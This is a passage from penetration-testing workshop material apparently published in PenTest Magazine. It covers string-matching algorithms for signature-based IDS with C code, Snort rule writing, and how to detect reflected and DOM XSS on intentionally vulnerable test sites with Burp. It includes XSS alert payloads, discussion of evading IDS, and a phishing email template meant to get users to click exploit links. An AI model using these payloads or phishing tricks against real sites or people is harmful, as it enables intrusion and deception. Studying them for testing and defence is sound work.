longest_proper_prefix[i] = the longest proper prefix of pattern[0..i]

which is also a suffix of pattern[0..i].
We should make things clearer here.

40

Here’s the partial match table for the pattern “abababca”:
Char

A

B

A

B

A

B

C

A

Index

0

1

2

3

4

5

6

7

Value

0

0

1

2

3

4

0

1

If we have an 8-character length pattern, our partial match table will have eight cells in a row. If we’re
looking at the 8th (last) cell in the table, we are interested in the entire pattern (“abababca”).
If we are looking at the 7 cell in table, we’re only interested in the first 7 characters in the pattern
(“abababc”); the 8th one (“a”) is irrelevant in this case.
And so on to the 1st cell.
Now, to talk about the meaning of values in cells, we need to understand what are proper prefixes
and proper suffixes.
The proper prefixes are all characters in a string, with one or more cut off the end.
“T”, “Te”, “Tes”, and “Testi” are all proper prefixes of “Testing”.
Proper suffixes are all characters in a string, with one or more cut off the beginning.
“sting”, “ting”, “ing”, “ng”, and “g” are all proper suffixes of “Testing”.
Thus we can now give the meaning of the values in the partial match table (PMT):
The length of the longest proper prefix in the (sub)pattern that matches a proper suffix in the same
(sub)pattern.

PenTest Magazine |

Penetration Testing in Practice | PenTest Magazine
What does this mean? Let’s look in the 3rd cell for example. As we stated above, this means we’re
only interested in the 1st 3 characters (“aba”).
In “aba”, there are 2 proper prefixes (“a” and “ab”) and 2 proper suffixes (“a” and “ba”).
Now, the proper prefix “ab” does not match either of the 2 proper suffixes.
However, the proper prefix “a” matches the proper suffix “a”. Thus, the length of the longest proper
prefix that matches a proper suffix, in this case, is 1.
Let’s try it with 4th cell.
Here, we’re interested in the 1st 4 characters ( they’re “abab”). There’re 3 proper prefixes (“a”,
“ab”, and “aba”) and 3 proper suffixes (“b”, “ab”, and “bab”). This time, “ab” is in both, and is two
characters long, so cell 4 gets value 2.
Now let’s also try it for cell 5, which concerns “ababa”, just because there will be noticeable
situation to understand. We have 4 proper prefixes (“a”, “ab”, “aba”, and “abab”) and 4 proper
suffixes (“a”, “ba”, “aba”, and “baba”). Here we have two matches: “a” and “aba” are both proper
prefixes and proper suffixes. But “aba” is longer than “a”, so it wins, and cell 5 gets value 3.
Let’s skip ahead to cell seven, which is concerned with the pattern “abababc”. Even without
enumerating all the proper prefixes and suffixes, it should be obvious that there aren’t going to be any
matches; all the suffixes will end with the letter “c”, and none of the prefixes will. Since there are no
matches, cell seven gets value 0.
And finally, let’s look at cell eight, which is concerned with our entire pattern (“abababca”).
Since there’s an “a” from the end and from the start, we know that the value will be at least 1.
However, that’s where it ends. At lengths 2 and up, all the suffixes contain a «c» character, while only
the last prefix (“abababc”) does. But this 7-character prefix does not match the seven-character suffix
(“bababca”), so cell eight gets value 1.

41

How to use the PMT
We can use the values in the partial match table to skip ahead (rather than redoing unnecessary
comparisons) when we find partial matches!
This formula works like this:
If a partial match of length partial_match_length is found
and
table[partial_match_length] > 1,

then we may
skip ahead partial_match_length – table[partial_match_length – 1] characters.

Here goes an example for clearing this out.
Let’s say we want to match the pattern “abababca” against the text “bacbababaabcbab”. Here’s our
partial match table again for easy reference:
Char

A

B

A

B

A

B

C

A

Index

0

1

2

3

4

5

6

7

Value

0

0

1

2

3

4

0

1

| PenTest Magazine

PenTest Magazine | Penetration Testing in Practice
The first time we get a partial match is here:
bacbababaabcbab
|
abababca

This is a partial_match_length of 1. The value at table[partial_match_length – 1] (or table[0]) is 0,
so we don’t skip ahead any.
The next partial match we get is here:
bacbababaabcbab
|||||
abababca

This is a partial_match_length of 5.
The value at table[partial_match_length – 1] (or table[4]) is 3.
That means we should skip ahead

partial_match_length – table[partial_match_length – 1]

(or 5 – table[4] or 5 – 3 or 2) characters:
// ? mark denotes a skip
bacbababaabcbab
??|||
abababca

This is a partial_match_length of 3. The value at table[partial_match_length – 1] (or table[2]) is 1.
That means we get to skip ahead partial_match_length – table[partial_match_length – 1] (or 3 –
table[2] or 3 – 1 or 2) characters:

42

// ? mark denotes a skip
bacbababaabcbab
??|
abababca

At this point, our pattern is longer than the remaining characters in the text, so we know there’s
no match.
That’s how KMP algorithms works.
Now it’s time for implementation tests.
I took this implementation, it’s quite simple and understandable: http://code.activestate.com/
recipes/577908-implementation-of-knuthmorrispratt-algorithm/.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
int*compute_prefix_function(char*pattern,intpsize)
{
intk=-1;
inti=1;
int*pi=malloc(sizeof(int)*psize);
if(!pi)
returnNULL;
 
pi[0]=k;

PenTest Magazine |

Penetration Testing in Practice | PenTest Magazine
for(i=1;i<psize;i++){
while(k>-1&&pattern[k+1]!=pattern[i])
k=pi[k];
if(pattern[i]==pattern[k+1])
k++;
pi[i]=k;
}
returnpi;
}
 
intkmp(char*target,inttsize,char*pattern,intpsize)
{
inti;
int*pi=compute_prefix_function(pattern,psize);
intk=-1;
if(!pi)
return-1;
for(i=0;i<tsize;i++){
while(k>-1&&pattern[k+1]!=target[i])
k=pi[k];
if(target[i]==pattern[k+1])
k++;
if(k==psize-1){
free(pi);
returni-k;
}
}
free(pi);
return-1;
}
 
intmain(intargc,constchar*argv[])
{
chartarget[]=“ABC ABCDAB ABCDABCDABDE”;
char*ch=target;
charpattern[]=“ABCDABD”;
inti;
 
i=kmp(target,strlen(target),pattern,strlen(pattern));
if(i>=0)
printf(“matched @: %s\n”,ch+i);
return0;
}

43

So, steps are the same – take your modification from earlier algorithms to feed your dump too on this
implementation and try to run it on our machine.

The Karp-Rabin Algorithm
A different approach to string searching is to use hashing techniques, as suggested by Harrison
(1971). All that is necessary is to compute the signature function of each possible m-character
substring in the text and check if it is equal to the signature function of the pattern.
Karp and Rabin (1987) found an easy way to compute these functions efficiently for the signature
function h(k) = k mod q, where q is a large prime.
Their method is based on computing the signature function for position i given the value for position
i – 1.
The algorithm requires time proportional to n + m in almost all cases, without using extra space.
Note that this algorithm finds positions in the text having same signature value as the pattern. To
ensure that there is a match, we must make a direct comparison of the substring with the pattern.

| PenTest Magazine

PenTest Magazine | Penetration Testing in Practice
So, this algorithm is probabilistic, but using a large value for q makes collisions unlikely
[the probability of a random collision is O(1 /q) ].
Theoretically, this algorithm may still require m*n steps in the worst case, if we check each potential
match and have too many matches or collisions.
The signature function represents a string as a base-d number, where
d = c

is the number of possible characters. To obtain the signature value of the next position,
only a constant number of operations is needed.
So, rather than pursuing more sophisticated skipping, the Rabin–Karp algorithm speeds up the
testing of equality of the pattern to the substrings in the text by using a hash function.
A hash function is a function which converts every string into a numeric value, called its hash value.
For example, we might have hash(“hello”) = 5. The algorithm exploits the fact that if two strings are
equal, their hash values are also equal. Thus, it would seem all we have to do is compute the hash
value of the substring we’re searching for, and then look for a substring with the same hash value.
However, there are two problems with this. First, because there are so many different strings, to
keep the hash values small we have to assign some strings the same number. This means that if the
hash values match, the strings might not match; we have to verify that they do, which can take a long
time for long substrings. Luckily, a good hash function promises us that on most reasonable inputs,
this won’t happen too often, which keeps the average search time within an acceptable range.
The algorithm is as shown:
function RabinKarp(string s[1..n], string pattern[1..m])
hpattern :=hash(pattern[1..m]); hs :=hash(s[1..m])
for i from 1 to n-m+1
if hs = hpattern
if s[i..i+m-1]= pattern[1..m]
return i
hs :=hash(s[i+1..i+m])
return not found

44

In practice, this algorithm is slow due to the multiplications and the modulus operations. However,
it becomes competitive for long patterns. We can avoid the computation of the modulus function
at every step by using implicit modular arithmetic given by the hardware. In other words, we use
the maximum value of an integer (determined by the word size) for q. The value of d is selected such
that dk mod 2r has maximal cycle length (cycle of length 2r-2), for r from 8 to 64, where r is the size,
in bits, of a word. For example, an adequate value for d is 31.

Boyer-Moore Pattern Searching
In this section, we will discuss Boyer Moore pattern searching algorithm which is very effective and
used by many utilities (like unix grep).
Like KMP, Boyer Moore algorithm also preprocesses the pattern.
If we remember the Naive algorithm, there we slide the pattern over the text one by one.
KMP algorithm does preprocessing over the pattern so that we can shift pattern by more than one.
The Boyer Moore algorithm does preprocessing for the same reason as KMP. It preporcesses the
pattern and creates different arrays for both approaches.
And then, at every step, it slides the pattern by max of the slides suggested by the two approaches.
So it uses best of the two approaches at every step.

PenTest Magazine |

Penetration Testing in Practice | PenTest Magazine
The Boyer-Moore (BM) algorithm positions the pattern over the leftmost characters in the text
and attempts to match it from right to left. If no mismatch occurs, then the pattern has been found.
Otherwise, the algorithm computes a shift; that is, an amount by which the pattern is moved to the
right before a new matching attempt is undertaken.
The shift can be computed using two heuristics: The Bad Character Rule and The Good Suffix Rule.
In the worst case, the number of comparisons is O(n + rm), where r is the total number of matches.
Hence, this algorithm can be as bad as the naive algorithm when we have many matches, namely,
(n) matches.
Later, Nigel Horspool presents his algorithm which is a simplification of Boyer-Moore algorithm, but
works almost the same. Keeping in mind less preprocessing and simplier implementation it can be
a benefit in overall speed of search.
Horspool proposed to use only the bad-character shift of the rightmost character of the window
to compute the shifts in the Boyer-Moore algorithm.
Let’s look at test results of Horspool variant.
So, we can take code Wikipedia suggest as implementation of Boyer-Moore-Horspool algorithm:
1. #include <string.h>
2. #include <limits.h>
3. /* Returns a pointer to the first occurrence of “needle”
4. * within “haystack”, or NULL if not found. Works like
5. * memmem().
6. */
7. /* Note: In this example needle is a C string. The ending
8. * 0x00 will be cut off, so you could call this example with
9. * boyermoore_horspool_memmem(haystack, hlen, “abc”, sizeof(“abc”)-1)
10. */
11. constunsignedchar*
12. boyermoore_horspool_memmem(constunsignedchar*haystack, size_thlen,
13. constunsignedchar*needle, size_tnlen)
14. {
15. size_tscan =0;
16. size_tbad_char_skip[UCHAR_MAX +1]; /* Officially called:
17. * bad character shift */
18. /* Sanity checks on the parameters */
19. if(nlen <=0||!haystack ||!needle)
20. returnNULL;
21. /* —- Preprocess —- */
22. /* Initialize the table to default value */
23. /* When a character is encountered that does not occur
24. * in the needle, we can safely skip ahead for the whole
25. * length of the needle.
26. */
27. for(scan =0; scan <=UCHAR_MAX; scan =scan +1)
28. bad_char_skip[scan] =nlen;
29. /* C arrays have the first byte at [0], therefore:
30. * [nlen – 1] is the last byte of the array. */
31. size_tlast =nlen -1;
32. /* Then populate it with the analysis of the needle */
33. for(scan =0; scan <last; scan =scan +1)
34. bad_char_skip[needle[scan]] =last -scan;
35. /* —- Do the matching —- */
36. /* Search the haystack, while the needle can still be within it. */
37. while(hlen >=nlen)
38. {
39. /* scan from the end of the needle */

45

| PenTest Magazine

PenTest Magazine | Penetration Testing in Practice
40. for(scan =last; haystack[scan] ==needle[scan]; scan =scan -1)
41. if(scan ==0) /* If the first byte matches, we’ve found it. */
42. returnhaystack;
43. /* otherwise, we need to skip some bytes and start again.
44. Note that here we are getting the skip value based on the last byte
45. of needle, no matter where we didn’t match. So if needle is: “abcd”
46. then we are skipping based on ‘d’and that value will be 4, and
47. for “abcdd”we again skip on ‘d’but the value will be only 1.
48. The alternative of pretending that the mismatched character was
49. the last character is slower in the normal case (E.g. finding
50. “abcd”in “…azcd…”gives 4 by using ‘d’but only
51. 4-2==2 using ‘z’. */
52. hlen -=bad_char_skip[haystack[last]];
53. haystack +=bad_char_skip[haystack[last]];
54. }
55. returnNULL;
56. }

So, as a practice, try to modify this code to feed it with your dump file and compare results
to algorithms we looked at before.

Signature-based IDS benefits
The most significant benefit of signature-based system is it’s accuracy. Signature detection shows
really great true positive rate and a very little rate of ignoring known attacks.
However, such great accuracy completely relies on how signatures (patterns) are wrote and on the
implementation of searching process.
In previous sections, we looked at implementations and algorithms deeply by that reason.
It is vital to IDS to have correctly written signatures and to have flawless searching process, e.g.
flawlessly implemented algorithm.

46

That means if you have correct patterns and correctly implemented search algorithm the probability
of something to be undetected is nearly zero.
But this such clear definition and accuracy comes several disadvantages.

Signature-based IDS restrictions and disadvantages
First restriction of signature-based systems comes along with its accuracy. Signature-based IDS as
good as its signature database. That means it is critical to have latest updates at any moment for such
systems.
But in real life it can take from several hours to several days before your IDS receive an update.
Of course, you can write those pattern yourself, but in this case you must do your own research to
understand what attack do, and to extract signature of it.
And above all it assumes that you are aware of new attack. And if you are not?
However, even if you are checking for new found attacks every minute, there’s no guarantee that
your pattern is correct. So, you have to test it. Would you test it on your working stations? I think not.
That lead to building virtual environment for testing. It takes time and resources.
That’s why most people just wait until official signatures arrive. Because it is really unlikely that you
compile your pattern before a specialist for whom it’s a daily work do this.
Next point we have already mentioned above – it is the correctness of signatures. Any little flaw
in pattern may lead to building an attack in a way that will not trigger your pattern.
Along with signatures correctness comes correctness of implementation. This point is more
significant for open source IDS.

PenTest Magazine |

Penetration Testing in Practice | PenTest Magazine
Consider hackers, who can spend days and months just looking and testing code of IDS.
And what they somehow find that there’s a “little” flaw in string comparison algorithm? What do you
think they will do? Yep, they’ll implement attack using that “little” mistake to successfully bypass
signature checking. There will be literally zero alerts in your IDS while hackers already bypassed
your IDS.
Another cost of good accuracy of signature-based IDS is that the more patterns you have the
slower detection process will be.
In other words, if your database includes many signatures you can face situation when your IDS
is dropping some packets just because it is not able to work with such amount of them. It will not
be able to maintain such speeds and process all in time.
And here comes a common attack on IDS (it will be shown in details in later chapter with other IDS
bypassing techniques): hacker can disguise real attack by fake attack attempts. His goal is to feed
your IDS with traffic to its limits when it start to ignore packets and is not able to correctly handle all
of them – and then to start real attack which goes among other requests.
Other technique is quite simple and obvious – just change some thing in exploit or request to trick
the IDS. All hacker needs to do is to know algorithm used to search signatures and patterns IDS
using. And it will always work to signature-based IDS.
This disadvantages and restrictions are not for IDS, they are found in antivirus software too.
Just because antiviruses uses exactly same techniques to detect virus signature in executables and
other files.
Now, at the end of this module, I assume you clearly understand how signature-based IDS match
patterns against data.

47

Practice task
Now return to our installation of Snort (which was done is previous module of this workshop) and
create you own rule with your own attack signature. Of course, it is a test case and there will be
no actual attack, but this does not matter – its only a question of changing pattern content to turn into
a real life detection pattern.
So, as for practice, I suggest you to write your own rule for Snort to detect presence of something
in traffic. For study case choose something that does not match by existing rules in Snort. Just not
to be confused in case that alert will be triggered by Snort default rule and not by yours.
Snort uses a simple, lightweight rules description language that is flexible and quite powerful.
There are a number of simple guidelines to remember when developing Snort rules.
The first is that Snort rules must be completely contained on a single line, the Snort rule parser
doesn’t know how to handle rules on multiple lines.
Snort rules are divided into two logical sections, the rule header and the rule options. The rule
header contains the rule’s action, protocol, source and destination IP addresses and netmasks,
and the source and destination ports information. The rule option section contains alert messages
and information on which parts of the packet should be inspected to determine if the rule action
should be taken.
Here is an example rule:
alert tcp any any -> 192.168.1.0/24 111 (content:”|00 01 86 a5|”; msg: “mountd access”;)

The text up to the first parenthesis is the rule header and the section enclosed in parenthesis is the
rule options. The words before the colons in the rule options section are called option keywords.
Note that the rule options section is not specifically required by any rule, they are just used for
the sake of making tighter definitions of packets to collect or alert on (or drop, for that matter).

| PenTest Magazine

PenTest Magazine | Penetration Testing in Practice
All of the elements in that make up a rule must be true for the indicated rule action to be taken.
When taken together, the elements can be considered to form a logical AND statement. At the same
time, the various rules in a Snort rules library file can be considered to form a large logical OR
statement. Let’s begin with the rule header section.

Includes
The include keyword allows other rule files to be included within the rules file indicated on the Snort
command line. It works much like an “#include” from the C programming language, reading the
contents of the named file and putting them in place in the file in the place where the include appears.

Format
include: <include file path/name>

Note that there is no semicolon at the end of this line. Included files will substitute any predefined
variable values into their own variable references. See the Variables section for more information
on defining and using variables in Snort rule files.

Variables
Variables may be defined in Snort. These are simple substitution variables set with the var keyword.

Format
var: <name> <value>
var MY_NET [192.168.1.0/24,10.1.1.0/24]
alert tcp any any -> $MY_NET any (flags: S; msg: “SYN packet”;)

The rule variable names can be modified in several ways. You can define meta-variables using the “$”
operator. These can be used with the variable modifier operators, “?” and “-“.
$var – define meta variable

48

$(var) – replace with the contents of variable “var”
$(var:-default) – replace with the contents of the variable “var” or with “default” if “var”

is undefined.

$(var:?message) – replace with the contents of variable “var” or print out the error message

“message” and exit

As an advice, read http://archive.oreilly.com/pub/h/1393 where described clearly how to write
a very simple rule, you only need to trigger alert to print message and that’s all. So, by now, do not try
to understand all features and options – they will be discussed in later modules with examples and
deep explanation. Once you’ve written your rule, place it in separate file in rules folder (e.g. /etc/
snort/rules by default) and do not forget to include your file in main configuration file (e.g. /etc/
snort/snort.conf).
In snort.conf just scroll to section where you’ll see many ‘include’ instructions and add one with
your file. Then restart Snort.
Next step for your test is to send something to your host and look if alert is triggered or not.
Sending data to your host is pretty simple. There are many tools for that out there – for example,
you can do it with SSH, NC(netcat) or any other software. One thing to remember here is if you
specify any ports or other options in your rule – you should send data to this port. It’s pretty obvious,
but sometimes forgotten.
In next module we will play around with more intelligent and sophisticated approaches to detect
attacks by using statistical and other methods to detect anomalies.

by Vladimir Korennoy
PenTest Magazine |

Penetration Testing in Practice | PenTest Magazine

How to detect the
Vulnerabilities Used in XSS
Attacks

T

o detect the vulnerabilities that lead to XSS attacks during a penetration test, it is common to
use a web application scanner (burp suite, acunetix, skipfish, arachni and zap being the most
used tools to accomplish this task). During the workshop I will not cover this topic because
in my opinion you should be able to manually detect this kind of vulnerabilities. During the workshop
I will use an on-line vulnerable web application[1] in order to show both the detection and exploitation
phases.
One of the most useful tool that I am going to show you during the workshop is the Burp! suite[2]:
Burp! suite is an integrated platform for performing security testing of web applications which includes
several modules that are useful during a penetration test. In the next phases i will show you how to
configure and use the following modules of the Burp! suite:
• Intercepting Proxy: this module allows you to inspect and modify traffic between your browser and
the target application;
• Web Application Spider: the module responsible of crawling static and dynamic content;
• Repeater: this module allows you to manipulate and resend individual requests.
In order to detect Web Application vulnerabilities and thus discover the bugs behind XSS attacks, first
of all you have to setup your browser in order to intercept the requests it makes via the Burp! suite.
To do this you have to modify the proxy settings of your browser (I am going to use Firefox during
this workshop). Assuming that the Burp! suite is listening on 127.0.0.1:8080, the browser settings are
shown in Figure 1.

49

Figure 1. Firefox Proxy Settings

| PenTest Magazine

PenTest Magazine | Penetration Testing in Practice
Once you have configured the web browser you have to configure the Burp! suite. The default
settings should be ok and the proxy configuration tab should appear as shown in Figure 2.

Figure 2.

If the Burp! suite proxy module does not appear as shown in Figure 2 you have to configure it by
adding an entry or by modifying an existing entry. If you don’t have any entry, you can use the “add”
button to add one and then the module will appear. Figure 3 shows how to add a new proxy listener.
If you already have one or more entries, select an entry to edit and configure it as shown above.

50

Figure 3. Burp! suite add proxy listener

Once the proxy has been set up you have to enable the interception mode to start interception
of requests made by the web browser. Figure 4 shows how to enable the interception mode.

PenTest Magazine |

Penetration Testing in Practice | PenTest Magazine

Figure 3. Burp! suite add proxy listener

Now you are ready to start with the web application security analysis. The classes of XSS attacks
I want to illustrate in this paragraph, are the ones based on GET and POST requests. I am going
to use a vulnerable web application provided by Acunetix [3] in order to test the web application
scanner and to show the discussed techniques. First we have to map the web application in order
to discover the insertion points; i.e. where the application expects input from the end user. To do that
just send a request to the web site root node using the web browser, and send it to the spider as
shown in Figure 4. Note: The first time you launch the web application spider tool on a URL using the
Burp Suite, a pop up will warn you that your targets list does not contain the URL sent and it asks you
if you want to add it to the targets list, do not panic and click ok

51

Figure 4. Burp! suite send a request to spider

Once the spider has finished his work you can check the results in the site-map. By selecting the site
name in the left pane, you will see in the right pane all the detected pages with the relevant details
including the HTTP method used to invoke the web page and the parameters used during the page
invocations. The site-map should look like the Figure 5.

| PenTest Magazine

PenTest Magazine | Penetration Testing in Practice

Figure 5. Burp! suite site map

The sitemap should be carefully analyzed and we should test all the scripts that accept  input
parameters in order to spot the vulnerabilities that can lead to xss attacks. In order to demonstrate
how to detect a vulnerability accessible through HTTP GET requests I am going to analyze the script
/listproducts.php. As shown in the site-map, one of the parameters accepted by the script is named
“artist”; by manipulating this parameter we may be well able to inject arbitrary HTML\Script in the
resulting page. Burp! suite offers several different ways to manipulate a request. In this case I am
going to show you how to use the repeater tool to manipulate a request coming from a sitemap entry.
Figure 6 shows how to invoke the repeater starting from a sitemap entry.

52

Figure 6. Burp! suite send a request to repeater from site map

Using the standard configuration of the repeater tool window, on the left side you have the request
you want to manipulate and on the right side you have the server response. The view arrangement
could be different but the labels “Request” and “Response” should help you to figure out what is
going on your Burp! suite To test whether the page is vulnerable or not, I usually inject an arbitrary

PenTest Magazine |

Penetration Testing in Practice | PenTest Magazine
string containing html characters (eg. angle brackets), for example  the string “<pentestmag>”.
By supplying the string “<pentestmag>” as a value for the “artist” parameter, we expect to find
the pattern inside the server response in case of a vulnerable page. The request should look like
the following:
GET /listproducts.php?artist=<pentestmag> HTTP/1.1Host: testphp.vulnweb.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://testphp.vulnweb.com/artists.php?artist=1

Figure 7 shows how to manipulate, and send, the request to the server.

53

Figure 7. Burp! suite repeat a request

If nothing goes wrong, in the resulting page you should be able to see the pattern “<pentestmag>”.
As you can see the injection is pretty straightforward and at first sight no check is done on the input
string. Also, no encoding is applied to the string on the resulting page. By repeating the request and
injecting a different string, this time a javascript expression like “<script>alert(‘pentestmag’);</script>”,
we can check whether the vulnerability leads to XSS attacks. This time the request should look like
the following:
GET /listproducts.php?artist=<script>alert(‘pentestmag’);</script> HTTP/1.1Host:
testphp.vulnweb.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://testphp.vulnweb.com/artists.php?artist=1

By repeating the modified request as shown before you should be able to see the unmodified payload
in the response page as shown below:
…<div id=”content”>

| PenTest Magazine

PenTest Magazine | Penetration Testing in Practice
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL
server version for the right syntax to use near ‘=<script>alert(‘pentestmag’);</script>’ at line 1
Warning: mysql _ fetch _ array() expects parameter 1 to be resource, boolean given in /hj/var/
www/listproducts.php on line 74
</div>

… You have just spotted a vulnerability that lead to reflected (non persistent) xss attacks The basic
PoC of the vulnerability that everyone can figure out can be done by just pointing your web browser
to the specially crafted URL (you can check the request with the Burp! proxy) “http://testphp.vulnweb.
com/listproducts.php?artist=<script>alert(‘pentestmag’);</script>” and by observing the injected
javascript code being executed. Figure 8 shows the javascript code executed by the web browser.

Figure 8. Injected Javascript code executed by Web Browser

54

Video 1 shows the whole process. The above example relies upon an http request made with the
GET method. Obviously you can also spot this kind of vulnerability if the requests are made with POST
method using the same detection process. Assume we want to test the PHP script named “comment.
php” accessible from the page artists.php. This time I’m going to show you how to modify a request
from the proxy interface. First of all ensure that the interception mode of the proxy is enabled, then
just fill the form and observe the request in the proxy window. Figure 9 shows the web page rendered
in the browser and Figure 10 shows the intercepted request in the proxy window. As you can see,
once the request is submitted through the repeater, you can see a message like “Francesco, thank
you for your comment.” is displayed on the resulting page. So, in this case we can focus on the
parameter “name” and check whether the page is vulnerable or not.

Figure 9. web page rendered in the browser

PenTest Magazine |

Penetration Testing in Practice | PenTest Magazine

Figure 10. Intercepted request in the proxy window

Figure 11. Resulting page in repeater

Also this time, by supplying the string “<pentestmag>” as a value for the “name” parameter in the
repeated request, we expect to find the pattern inside the server response in case of a vulnerable
page. The request should look like the following:
POST /comment.php HTTP/1.1Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: it-it,it;q=0.8,en;q=0.5,en-us;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://testphp.vulnweb.com/comment.php?aid=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 92
name=<pentestmag>&comment=Nice artist!&Submit=Submit&phpaction=echo+%24_
POST%5Bcomment%5D%3B

55

Figure 12 shows the server response which includes the pattern <pentestmag> free from any form
of encoding.

Figure 12. Resulting page with unmodified pattern

As shown for the first class of vulnerability, by repeating the request and by injecting a javascript
expression like “<script>alert(‘pentestmag’);</script>”, we can check whether we are able to execute
arbitrary code. This time the request should look like the following:
POST /comment.php HTTP/1.1Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: it-it,it;q=0.8,en;q=0.5,en-us;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://testphp.vulnweb.com/comment.php?aid=1
Connection: keep-alive

| PenTest Magazine

PenTest Magazine | Penetration Testing in Practice
Content-Type: application/x-www-form-urlencoded
Content-Length: 92
name=<pentestmag>&comment=Nice artist!&Submit=Submit&phpaction=echo+%24_
POST%5Bcomment%5D%3B

You should be able to see the unmodified payload in the response page as shown below
…<body>
<p class=’story’><script>alert(‘pentestmag’);</script>, thank you for your comment.</
p><p class=’story’><i></p></i></body>


As shown in the resulting page, we spotted another vulnerability. By repeating the request directly
from the web browser we can have the casting out nines. Figure 13, shows the code executed
in the browser.

56

Figure 13. Injected Javascript code executed by Web Browser

A brief note, some of you may have noticed that the code is injected also inside the page title but
is not executed by the web browser. Try to figure out by yourself how to get the code executed also
in the first injection point too.
The vulnerabilities shown so far rely on the lacks of validation, encoding and neutralization by server
side components. DOM XSS are a completely different story as the vulnerabilities reside inside the
client side components (eg. inline functions, external javascript libraries, etc.). The detection approach
is completely different and may vary from an application to another. I am going to use a vulnerable
web application provided by Acunetix [4] to show off some techniques used to detect this kind of
vulnerabilities.
Few words about the detection process. The detection process of vulnerabilities that lead to DOM
based XSS is similar to the process used during the code review phase, basically you have to analyze

PenTest Magazine |

Penetration Testing in Practice | PenTest Magazine
the JavaScript code (generally speaking dynamic client-side code) in order to figure out if some bad
design pattern can be abused in order to deliver an attack.
Just like it happens during the code review phase, the process may be started by identifying the
sources (starting points where untrusted input data is taken by an application) and sink (the points
in the flow where data depending from sources is used in a potentially dangerous way). Some
common sources[5] that are useful when dealing with vulnerabilities that lead to DOM-XSS are
the following:
• Location, Document URL, URL
• document.URL, document.documentURI, location, location.href, location.search, location.hash;
• Referrer
• document.referrer;
• Window Name
• window.name;
Some common sink[6] useful when dealing with vulnerabilities that lead to DOM-XSS are the
following:
• Execution Sink
• eval, setTimeout, setInterval;
• HTML Element Sink
• document.write, document.writeIn, innerHTML, outerHTML;
• Set Location Sink
• location, location.href:
As stated before, the detection process starts by searching a candidate source that allows a DOMXSS attack. By digging in the javascript code I came across the following lines of code in the
javascript file named “post.js”:
…117 var hrf=window.location.href.toLowerCase();
118 if (hrf !=’http://www.facebook.com/’)
119     document.write(‘<div class=”fb-comments” data-num-posts=”4″ data-width=”470″ 
data-href=”‘+window.location.href+’”></div>’)
120


57

At line 117 you can see a candidate source, window.location.href which returns the URL of the current
page. The user supplied data is assigned without any form of validation and encoding to the variable
“hrf” just to check, at line 118,  if the current URL is not “http://www.facebook.com”. If we pass this
check, then at line 119 we meet our sink point.
By analyzing the main page of the website we can notice that the script is always executed, so in
order to trigger the vulnerability we have to manipulate the URL and try to execute arbitrary javascript
code. Since we are dealing with the DOM, we cannot use the Burp! suite to analyze the vulnerability.
I used to work with Firebug but the developers tools shipped along with other browsers may as well
serve for the purpose. In order to verify what we are indeed inspecting the javascript source code
we can proceed by setting a breakpoint on the document.write sink in the Firebug script debugger.
Figure 14 shows the breakpoint set.

Figure 14. Breakpoint setted in javascript debugger

| PenTest Magazine

PenTest Magazine | Penetration Testing in Practice
Following the debugger configuration, we have to insert an URL, for example “http://testhtml5.
vulnweb.com/?<pentestmag>”  and watch what happens at runtime. Figure 15 shows the DOM
property window.location.href once the breakpoint has been caught. As you can see the property
value is “http://testhtml5.vulnweb.com/?%3Cpentestmag%3E” and it does not look good due to the
encoding used.

Figure 15. href property at runtime

58

Figure 16. Html code written by the javascript code

So, our input is not shown the way we expected. Let’s try to inject the usual ‘‘><script>alert(1);</
script>. Note the leading quotation marks and the bracket as they serve to close the <div> tag at
the beginning, just before our <script> tag. Figure 17 shows the results of the javascript execution.
In Figure 16 you can see the result of javascript execution.

Figure 17. href value after javascript execution

What goes wrong? Nothing, Firefox encodes all the requests so this kind of vulnerability can not be
exploited on the Firefox web browser.
Does this mean that the code is not vulnerable? Absolutely not.
In fact, when the same code is evaluated by another web browser, things may very well be different.
By accessing this URL “http://testhtml5.vulnweb.com/?‘‘><script>alert(1);</script>” using Internet
Explorer, you’re going to effectively see that we were able to inject, and execute, arbitrary code.
Figure 18, shows the code executed in the browser.

PenTest Magazine |

Penetration Testing in Practice | PenTest Magazine

Figure 18. href property at runtime

DOM XSS are pretty nasty and they are not always easy to detect. In real life you have to deal with
encoded or minified version of javascript. In addition to your skill, a good scanner can help you spot
this kind of vulnerabilities.

How to trick the users
A study named “The inevitability of the click” reported in the Data Breach Investigations Report (DBIR)
released by Verizon effectively suggests how users are prone to be tricked. Prone to be tricked does
not necessarily mean that users are completely dumb and that they don’t consider, for example, the
anomalies in their e-mail communications or in the rendering of the web pages. Nowadays the users,
or at least the users I’ve met during my work, are well aware about the risk deriving from a wrong click
so it is hard to carry on an XSS attack without taking care of all the details, even the less significant
to us.

59

Let’s start with the first tip. Usually an XSS attack starts with a malicious email containing the link
used to exploit the vulnerability. Often the mail are not well formatted and the user is discouraged
to click anywhere on the mail. Moreover, if the user try to inspect the link by hovering the mouse
on it, the exploit string would seem suspicious to the user and the link would not be clicked. In my
experience, an email composed only by a single image and an innocent link to a web page hosting
the real exploit is enough to trick the user into clicking the email. As a side effect of this, most of the
perimetral antivirus and antispam systems do not recognize the email as a threat … how to kill two
birds with one stone .
An HTML email template could be the follow
1 <html>2 <head><title>Sometitle</title></head>
3 <body>
4 <center>
5     <a href=”http://somesite.it”><img src=”data:image/gif;base64,R0…”/></a>
6 </center>
7 </body>
8 </html>

Note that the image is embedded, so the mail client will not annoy the user telling that for security
reasons the remote content will not be shown.
The second tip regards the web pages on the site that hosts the xss exploit. If a link contains
directly the exploit string, the user would notice it just by hovering with the mouse on it. Figure 19
